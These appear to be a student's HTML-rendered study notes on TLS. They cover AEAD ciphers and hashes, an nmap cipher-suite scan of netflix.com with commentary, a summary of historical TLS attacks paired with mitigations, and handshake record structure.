&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250222185859.png&quot; alt=&quot;Pasted image 20250222185859&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Summarization&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Summary :-
&lt;ul&gt;
&lt;li&gt;&amp;lt;b&amp;gt;AEAD (Authenticated Encryption with Associated Data)&amp;lt;/b&amp;gt; ciphers provide both &lt;code&gt;confidentiality&lt;/code&gt; and &lt;code&gt;integrity&lt;/code&gt; by combining &lt;code&gt;encryption&lt;/code&gt; and &lt;code&gt;authentication&lt;/code&gt; in a single operation.&lt;/li&gt;
&lt;li&gt;Examples: ChaCha20-Poly1305, AES-CCM (Counter with CBC-MAC Mode), AES-GCM (Galois/Counter Mode), AES-GCM-SIV (Synthetic Initialization Vector), OCB (Offset Codebook Mode)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Avoid, Accept, Prefer&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250222193004.png&quot; alt=&quot;Pasted image 20250222193004&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Hashing&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Hashing algorithm which will be used as a MAC (Message Authentication Code) Provides Integrity and Authentication for Bulk Data
&lt;ul&gt;
&lt;li&gt;Poty1305&lt;/li&gt;
&lt;li&gt;SHA384&lt;/li&gt;
&lt;li&gt;SHA256&lt;/li&gt;
&lt;li&gt;SHA&lt;/li&gt;
&lt;li&gt;MD5&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;MD5&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250222191505.png&quot; alt=&quot;Pasted image 20250222191505&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;SHA-1/256/384/512&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;SHA1 Family&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250222191727.png&quot; alt=&quot;Pasted image 20250222191727&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SHA-2 Family&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250222191823.png&quot; alt=&quot;Pasted image 20250222191823&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Poly1305&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250222191929.png&quot; alt=&quot;Pasted image 20250222191929&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Avoid, Accept, Prefer&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250222193055.png&quot; alt=&quot;Pasted image 20250222193055&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Cipher Suites Task&lt;/h2&gt;
&lt;h3&gt;Netflix Cipher Suite Analysis&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-23 00:28 IST
Nmap scan report for netflix.com (54.73.148.110)
Host is up (0.16s latency).
Other addresses for netflix.com (not scanned): 18.200.8.190 54.155.246.232 2a05:d018:76c:b685:c898:aa3a:42c7:9d21 2a05:d018:76c:b684:b233:ac1f:be1f:7 2a05:d018:76c:b683:e1fe:9fbf:c403:57f1
rDNS record for 54.73.148.110: ec2-54-73-148-110.eu-west-1.compute.amazonaws.com

PORT    STATE SERVICE        VERSION
443/tcp open  ssl/http-proxy (bad gateway)
| ssl-enum-ciphers: 
|   TLSv1.0: 
|     ciphers: 
|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (ecdh_x25519) - A
|       TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (ecdh_x25519) - A
|       TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A
|       TLS_RSA_WITH_AES_256_CBC_SHA (rsa 2048) - A
|     compressors: 
|       NULL
|     cipher preference: server
|   TLSv1.1: 
|     ciphers: 
|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (ecdh_x25519) - A
|       TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (ecdh_x25519) - A
|       TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A
|       TLS_RSA_WITH_AES_256_CBC_SHA (rsa 2048) - A
|     compressors: 
|       NULL
|     cipher preference: server
|   TLSv1.2: 
|     ciphers: 
|       TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (ecdh_x25519) - A
|       TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (ecdh_x25519) - A
|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (ecdh_x25519) - A
|       TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (ecdh_x25519) - A
|       TLS_RSA_WITH_AES_128_GCM_SHA256 (rsa 2048) - A
|       TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A
|       TLS_RSA_WITH_AES_256_GCM_SHA384 (rsa 2048) - A
|       TLS_RSA_WITH_AES_256_CBC_SHA (rsa 2048) - A
|     compressors: 
|       NULL
|     cipher preference: server
|   TLSv1.3: 
|     ciphers: 
|       TLS_AKE_WITH_AES_128_GCM_SHA256 (ecdh_x25519) - A
|       TLS_AKE_WITH_AES_256_GCM_SHA384 (ecdh_x25519) - A
|       TLS_AKE_WITH_CHACHA20_POLY1305_SHA256 (ecdh_x25519) - A
|     cipher preference: client
|_  least strength: A
|_http-server-header: envoy
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 502 Bad Gateway
|     Via: 1.1 i-0aba3ec878b310dc9 (eu-west-1)
|     X-Originating-URL: https://100.86.75.66/nice%20ports%2C/Tri%6Eity.txt%2ebak
|     Set-Cookie: nfvdid=BQFmAAEBEIdGmZncsdqD_2VD-Pr0zWJA9x9aJw1FMTZTb0NkJIQPaAs0R5lb3RYJrtJSa6ZebRN9sSeehEbz9cV_qcrsSAAn9GHxBxPeslAht6l9IVBBeg%3D%3D; Domain=.netflix.com; Path=/; Max-Age=31536000
|     X-Netflix.nfstatus: 2_16
|     X-Netflix.proxy.execution-time: 1378
|     transfer-encoding: chunked
|     Connection: close
|   GetRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Length: 7
|     Connection: close
|     BLOCKED
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Content-Length: 0
|     Access-Control-Allow-Origin: *
|     Access-Control-Allow-Credentials: true
|     Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS, SCRIPT
|     Access-Control-Allow-Methods: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS, SCRIPT
|     Accept-CH: Sec-CH-UA-Model,Sec-CH-UA-Platform-Version
|_    Access-Control-Allow-Headers: Authorization,Content-Type,Content-Encoding,Accept,X-Netflix.application.name,X-Netflix.application.version,X-Netflix.esn,X-Netflix.device.type,X-Netflix.certification.version,X-Netflix.request.uuid,X-Netflix.originating.request.uuid,X-Netflix.user.id,X-Netflix.oauth.consumer.key,X-Netflix.oauth.token,X-Netflix.ichnaea.request.type,X-Netflix.Request.Routing,X-NETFLIX-PREAPP-PARTNER-ID,X-NETFLIX-PREAPP-INTEGRITY-VALUE,X-Netflix.Request.Priority,X-Netflix.Retry.Client.Policy,X-Netflix.Client.Request.Name,X-Netflix.Request.Retry.Policy,X-Netflix.Request.Retry
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port443-TCP:V=7.94SVN%T=SSL%I=7%D=2/23%Time=67BA1E7B%P=x86_64-pc-linux-
SF:gnu%r(GetRequest,47,&quot;HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Length
SF::\x207\r\nConnection:\x20close\r\n\r\nBLOCKED&quot;)%r(HTTPOptions,893,&quot;HTTP
SF:/1\.1\x20200\x20OK\r\nContent-Length:\x200\r\nAccess-Control-Allow-Orig
SF:in:\x20\*\r\nAccess-Control-Allow-Credentials:\x20true\r\nAllow:\x20GET
SF:,\x20HEAD,\x20POST,\x20PUT,\x20DELETE,\x20TRACE,\x20OPTIONS,\x20SCRIPT\
SF:r\nAccess-Control-Allow-Methods:\x20GET,\x20HEAD,\x20POST,\x20PUT,\x20D
SF:ELETE,\x20TRACE,\x20OPTIONS,\x20SCRIPT\r\nAccept-CH:\x20Sec-CH-UA-Model
SF:,Sec-CH-UA-Platform-Version\r\nAccess-Control-Allow-Headers:\x20Authori
SF:zation,Content-Type,Content-Encoding,Accept,X-Netflix\.application\.nam
SF:e,X-Netflix\.application\.version,X-Netflix\.esn,X-Netflix\.device\.typ
SF:e,X-Netflix\.certification\.version,X-Netflix\.request\.uuid,X-Netflix\
SF:.originating\.request\.uuid,X-Netflix\.user\.id,X-Netflix\.oauth\.consu
SF:mer\.key,X-Netflix\.oauth\.token,X-Netflix\.ichnaea\.request\.type,X-Ne
SF:tflix\.Request\.Routing,X-NETFLIX-PREAPP-PARTNER-ID,X-NETFLIX-PREAPP-IN
SF:TEGRITY-VALUE,X-Netflix\.Request\.Priority,X-Netflix\.Retry\.Client\.Po
SF:licy,X-Netflix\.Client\.Request\.Name,X-Netflix\.Request\.Retry\.Policy
SF:,X-Netflix\.Request\.Retry&quot;)%r(FourOhFourRequest,1C7,&quot;HTTP/1\.1\x20502\
SF:x20Bad\x20Gateway\r\nVia:\x201\.1\x20i-0aba3ec878b310dc9\x20\(eu-west-1
SF:\)\r\nX-Originating-URL:\x20https://100\.86\.75\.66/nice%20ports%2C/Tri
SF:%6Eity\.txt%2ebak\r\nSet-Cookie:\x20nfvdid=BQFmAAEBEIdGmZncsdqD_2VD-Pr0
SF:zWJA9x9aJw1FMTZTb0NkJIQPaAs0R5lb3RYJrtJSa6ZebRN9sSeehEbz9cV_qcrsSAAn9GH
SF:xBxPeslAht6l9IVBBeg%3D%3D;\x20Domain=\.netflix\.com;\x20Path=/;\x20Max-
SF:Age=31536000\r\nX-Netflix\.nfstatus:\x202_16\r\nX-Netflix\.proxy\.execu
SF:tion-time:\x201378\r\ntransfer-encoding:\x20chunked\r\nConnection:\x20c
SF:lose\r\n\r\n0\r\n\r\n&quot;);

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 37.05 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;ul&gt;
&lt;li&gt;TLSv1.3 (Most Secure)&lt;/li&gt;
&lt;li&gt;Client Side Cipher Suites
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;TLS_AKE_WITH_AES_128_GCM_SHA256&lt;/code&gt; (ecdh_x25519) - &lt;strong&gt;Grade A&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TLS_AKE_WITH_AES_256_GCM_SHA384&lt;/code&gt; (ecdh_x25519) - &lt;strong&gt;Grade A&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TLS_AKE_WITH_CHACHA20_POLY1305_SHA256&lt;/code&gt; (ecdh_x25519) - &lt;strong&gt;Grade A&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;✅ &lt;strong&gt;Security Notes:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;TLS 1.3 &lt;strong&gt;removes all weak ciphers&lt;/strong&gt; and uses only AEAD encryption (AES-GCM, ChaCha20).&lt;/li&gt;
&lt;li&gt;No RSA key exchange (only ECDHE, which supports forward secrecy).&lt;/li&gt;
&lt;li&gt;TLS 1.3 cipher preference is &lt;strong&gt;client-driven&lt;/strong&gt;, unlike earlier versions.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;ul&gt;
&lt;li&gt;TLSv1.2 (Secure)&lt;/li&gt;
&lt;li&gt;Server-Proposed Cipher Suites
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256&lt;/code&gt; (ecdh_x25519) - &lt;strong&gt;Grade A&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384&lt;/code&gt; (ecdh_x25519) - &lt;strong&gt;Grade A&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA&lt;/code&gt; (ecdh_x25519) - &lt;strong&gt;Grade A&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA&lt;/code&gt; (ecdh_x25519) - &lt;strong&gt;Grade A&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TLS_RSA_WITH_AES_128_GCM_SHA256&lt;/code&gt; (rsa 2048) - &lt;strong&gt;Grade A&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TLS_RSA_WITH_AES_256_GCM_SHA384&lt;/code&gt; (rsa 2048) - &lt;strong&gt;Grade A&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TLS_RSA_WITH_AES_128_CBC_SHA&lt;/code&gt; (rsa 2048) - &lt;strong&gt;Grade A&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TLS_RSA_WITH_AES_256_CBC_SHA&lt;/code&gt; (rsa 2048) - &lt;strong&gt;Grade A&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;✅ &lt;strong&gt;Security Notes:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;TLS 1.2 &lt;strong&gt;supports modern cryptographic algorithms&lt;/strong&gt; (AES-GCM).&lt;/li&gt;
&lt;li&gt;AES-CBC is &lt;strong&gt;not ideal&lt;/strong&gt; due to previous padding oracle vulnerabilities.&lt;/li&gt;
&lt;li&gt;RSA-based key exchange is &lt;strong&gt;not forward secure&lt;/strong&gt;, but ECDHE provides &lt;strong&gt;forward secrecy&lt;/strong&gt;..&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;ul&gt;
&lt;li&gt;TLSv1.0 (Insecure &amp;amp; Deprecated)&lt;/li&gt;
&lt;li&gt;Server-Proposed Cipher Suites:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA&lt;/code&gt; (ecdh_x25519) - &lt;strong&gt;Grade A&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA&lt;/code&gt; (ecdh_x25519) - &lt;strong&gt;Grade A&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TLS_RSA_WITH_AES_128_CBC_SHA&lt;/code&gt; (rsa 2048) - &lt;strong&gt;Grade A&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TLS_RSA_WITH_AES_256_CBC_SHA&lt;/code&gt; (rsa 2048) - &lt;strong&gt;Grade A&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;❌ Security Notes:
&lt;ul&gt;
&lt;li&gt;TLS 1.0 is &lt;strong&gt;vulnerable to BEAST attacks&lt;/strong&gt; (CBC mode attack).&lt;/li&gt;
&lt;li&gt;Uses &lt;strong&gt;weaker key exchange mechanisms&lt;/strong&gt;, lacks &lt;strong&gt;modern AEAD ciphers&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No protection&lt;/strong&gt; against downgrade attacks.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Officially deprecated&lt;/strong&gt; – should be &lt;strong&gt;disabled&lt;/strong&gt; in favor of TLS 1.2 or 1.3.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;TLSv1.1 (Insecure &amp;amp; Deprecated)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Server-Proposed Cipher Suites:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA&lt;/code&gt; (ecdh_x25519) - &lt;strong&gt;Grade A&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA&lt;/code&gt; (ecdh_x25519) - &lt;strong&gt;Grade A&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TLS_RSA_WITH_AES_128_CBC_SHA&lt;/code&gt; (rsa 2048) - &lt;strong&gt;Grade A&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TLS_RSA_WITH_AES_256_CBC_SHA&lt;/code&gt; (rsa 2048) - &lt;strong&gt;Grade A&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;❌ Security Notes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;No major improvements&lt;/strong&gt; over TLS 1.0.&lt;/li&gt;
&lt;li&gt;Still &lt;strong&gt;vulnerable to BEAST and downgrade attacks&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Lacks &lt;strong&gt;AES-GCM&lt;/strong&gt; and other &lt;strong&gt;modern cryptographic enhancements&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Officially deprecated&lt;/strong&gt; – should be &lt;strong&gt;disabled&lt;/strong&gt; in favor of TLS 1.2 or 1.3.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Summary&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;:
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Also TLS 1.0 and 1.1 is supported but not in used by Netflix.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TLS 1.2 is secure but should prioritize AES-GCM over CBC.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TLS 1.3 is the best, with ChaCha20 and AES-GCM offering strong encryption.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Server prefers TLS 1.2 and 1.3 ciphers, but TLS 1.3 ciphers are client-driven&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;If Netflix&apos;s clients support TLS 1.3, they should prioritize ChaCha20 or AES-GCM for maximum security.&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Attacks on TLS&lt;/h2&gt;
&lt;h3&gt;1. SSL 3.0 (Predecessor of TLS)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;POODLE (Padding Oracle On Downgraded Legacy Encryption) [2014]&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Exploits SSL 3.0&apos;s fallback to CBC mode, allowing attackers to decrypt data.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mitigation:&lt;/strong&gt; Disable SSL 3.0 and use TLS 1.2+.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. TLS 1.0 &amp;amp; TLS 1.1&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;BEAST (Browser Exploit Against SSL/TLS) [2011]&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Affects TLS 1.0 (and SSL 3.0), allowing attackers to decrypt cookies via CBC attacks.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mitigation:&lt;/strong&gt; Use AES-GCM or TLS 1.2+.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LUCKY13 (Timing Attack on CBC Mode) [2013]&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Exploits how TLS handles CBC padding, leading to plaintext recovery.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mitigation:&lt;/strong&gt; Use AEAD ciphers like AES-GCM or TLS 1.2+.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CRIME (Compression Ratio Info-leak Made Easy) [2012]&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Targets TLS compression (e.g., DEFLATE) to steal session cookies.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mitigation:&lt;/strong&gt; Disable TLS compression.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;RC4 Weaknesses&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;TLS 1.0/1.1 allowed RC4, which has significant cryptographic weaknesses.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mitigation:&lt;/strong&gt; Disable RC4.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3. TLS 1.2&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;DROWN (Decrypting RSA with Obsolete and Weakened eNcryption) [2016]&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Exploits servers supporting both TLS and vulnerable SSLv2, allowing RSA decryption.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mitigation:&lt;/strong&gt; Disable SSLv2.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ROBOT (Return of Bleichenbacher&apos;s Oracle Threat) [2017]&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;A padding oracle attack against RSA encryption in TLS.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mitigation:&lt;/strong&gt; Use modern key exchange algorithms (ECDHE, DHE).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;FREAK (Factoring RSA Export Keys) [2015]&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Exploits weak RSA &quot;export-grade&quot; keys to break encryption.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mitigation:&lt;/strong&gt; Disable weak ciphers.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Logjam [2015]&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Exploits weak Diffie-Hellman parameters, allowing an attacker to downgrade key exchanges.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mitigation:&lt;/strong&gt; Use at least 2048-bit DH parameters or ECDH.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SWEET32 [2016]&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Exploits small block ciphers (e.g., 3DES) using birthday attacks.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mitigation:&lt;/strong&gt; Disable 3DES.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Padding Oracle Attacks (e.g., Vaudenay’s attack)&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Exploits CBC mode&apos;s padding error responses.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mitigation:&lt;/strong&gt; Use AEAD ciphers like AES-GCM.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Session Resumption Hijacking&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;If a session ticket is stolen, it can be used to impersonate a client.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mitigation:&lt;/strong&gt; Rotate session keys frequently.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4. TLS 1.3 (Latest and Most Secure)&lt;/h3&gt;
&lt;p&gt;TLS 1.3 was designed to eliminate older vulnerabilities, but new theoretical attacks still exist.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Downgrade Attacks (Forced TLS 1.2) [2018]&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Attackers force a downgrade to TLS 1.2 by manipulating handshake messages.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mitigation:&lt;/strong&gt; TLS 1.3 uses downgrade detection.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Curve25519 Key Exchange Timing Attacks&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Side-channel attacks on ECC cryptography.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mitigation:&lt;/strong&gt; Constant-time implementations.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Encrypted Client Hello (ECH) Attacks&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Potential weaknesses in ECH if implemented incorrectly.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mitigation:&lt;/strong&gt; Proper implementation and updates.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;TLS Version&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Major Attacks&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Mitigation&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SSL 3.0&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;POODLE (Padding Oracle On Downgraded Legacy Encryption)&lt;/td&gt;
&lt;td&gt;Disable SSL 3.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;TLS 1.0 &amp;amp; 1.1&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;BEAST (CBC attack), LUCKY13 (Padding attack), CRIME (Compression attack), RC4 Weaknesses&lt;/td&gt;
&lt;td&gt;Disable CBC mode, RC4, TLS compression&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;TLS 1.2&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;DROWN (SSLv2 flaw), ROBOT (RSA padding attack), FREAK (Weak RSA keys), Logjam (Weak DH parameters), SWEET32 (3DES birthday attack), Padding Oracle Attacks, Session Resumption Hijacking&lt;/td&gt;
&lt;td&gt;Disable weak ciphers, use AEAD ciphers like AES-GCM, use strong DH/ECDH parameters&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;TLS 1.3&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Downgrade Attacks (forcing TLS 1.2), ECC Timing Attacks (Curve25519), Encrypted Client Hello (ECH) vulnerabilities&lt;/td&gt;
&lt;td&gt;Use modern cryptography, downgrade detection, constant-time implementations&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;TLS/SSL Handshake&lt;/h2&gt;
&lt;h3&gt;Records and its parameters&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250223011850.png&quot; alt=&quot;Pasted image 20250223011850&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Multiple Records can be sent at a time with different parameters&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250223012219.png&quot; alt=&quot;Pasted image 20250223012219&quot; /&gt;
&lt;img src=&quot;images/Pasted%20image%2020250223013219.png&quot; alt=&quot;Pasted image 20250223013219&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Record Header&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250223013134.png&quot; alt=&quot;Pasted image 20250223013134&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Change Cipher Specs&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250223013536.png&quot; alt=&quot;Pasted image 20250223013536&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250223013707.png&quot; alt=&quot;Pasted image 20250223013707&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Alert Record&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250223014244.png&quot; alt=&quot;Pasted image 20250223014244&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250223014626.png&quot; alt=&quot;Pasted image 20250223014626&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Handshake Records&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250223020122.png&quot; alt=&quot;Pasted image 20250223020122&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;There are &amp;lt;font color=&quot;cyan&quot;&amp;gt;certain fields&amp;lt;/font&amp;gt; which sends encrypted.&lt;/li&gt;
&lt;/ul&gt;
